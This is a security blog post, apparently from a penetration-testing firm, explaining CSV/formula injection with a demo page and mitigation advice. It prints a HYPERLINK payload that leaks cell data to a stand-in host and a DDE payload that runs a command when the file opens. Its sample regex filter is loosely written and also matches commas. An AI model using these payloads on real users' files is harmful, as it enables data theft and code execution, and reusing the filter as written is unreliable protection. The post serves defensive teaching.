Is that CSV Secure?

Defining CSV injection vulnerabilities

solution Is that CSV Secure?

Comma-Separated Values file (or CSV) is a type of file that stores tabular data, numbers and text in plain text. Each line of the file is a data record and each record consists of one or more fields separated by commas. CSV is a common data exchange format that is widely supported by consumer, business, and scientific applications. As an example, a user may need to transfer information from a database program that stores data in a proprietary format, to a spreadsheet that uses a completely different format. The database program most likely can export its data as "CSV"; the exported CSV file can then be imported by the spreadsheet program.

example

There is a vulnerability in this types of format that the most of programmers ignores, that is "CSV Injection". As OWASP says, it occurs when websites embed untrusted input inside CSV files, when a spreadsheet program is used to open a CSV file, any cell starting with '=' is considered as a formula and crafted formulas can be used to malicious attacks.

CSV Injection Example

We have a page that stores data on a table and exports it on a CSV file

page

We put some normal data and nothing happens

input

result

But what happens if we put a formula like =2+5 in a field?

formula-input

formula-result

On our table nothing happens, but when we open the CSV file we get the result of the formula that we introduced. This can be very dangerous if someone introduce a more dangerous code like

  =HYPERLINK("http://dangerous.com?x="&A3&"[CR]","Error fetching info: Click me to resolve.")

When the user open the file it shows a link with our malicious site

vuln

Also we can execute commands on the target with this formula injection, in where we open the calc when someone opens the CSV file

  =cmd|' /C calc'!A0

It shows some warnings but the user trust in the source of the file and accept

warning-1

warning-2

And then the code execution

exec

The effectiveness of this vulnerability is that the user trust on the source of the file without asking himself if is the normal behaviour when someone opens a CSV file and the program asks form permission

Get started with Fluid Attacks' Vulnerability Management solution right now

Solution

  • First is user awareness, because Windows shows an alert when someone puts command execution code in the CSV file like we’ve seen

  • Second, input validation, the most common characters to do this attack are:

  =,+,-,@

A developer could make a validation like this regex

validation.js.

var regexp = new RegExp(/([=,-,+,@])/g);

And blocking this types of input, also, can put a space between the dangerous character like ' =' to mitigate this vulnerability

if(regexp.test(formData.sdata1)){
  formData.sdata1 = " "+formData.sdata1
}
if(regexp.test(formData.sdata2)){
  formData.sdata2 = " "+formData.sdata2
}

In this example we can see that the spreadsheet program doesn’t calculate the formula and our input is secure

secure-input

secure-result

The source code of the page for testing can be found here

Share

Subscribe to our blog

Sign up for Fluid Attacks’ weekly newsletter.

Recommended blog posts

You might be interested in the following related posts.

Photo by Pierre Bamin on Unsplash

Watch out for keylogging/keyloggers

Photo by Denis Tuksar on Unsplash

There's not an only way but here's a good one

Photo by Jelleke Vanooteghem on Unsplash

Benefits and risks of these increasingly used programs

Photo by Sven Mieke on Unsplash

A hacker's view of the performance of Researcher CNAs

Photo by Phil Hearing on Unsplash

Why so many are switching to Rust

Photo by Rohit Tandon on Unsplash

Description and critique of CEH certifications

Photo by Pramod Tiwari on Unsplash

An OffSec Experienced Pentester review

Photo by David Ramírez on Unsplash

Or what makes the ethical hacker

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which hundreds of organizations are already enjoying.

Start your 21-day free trial
Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.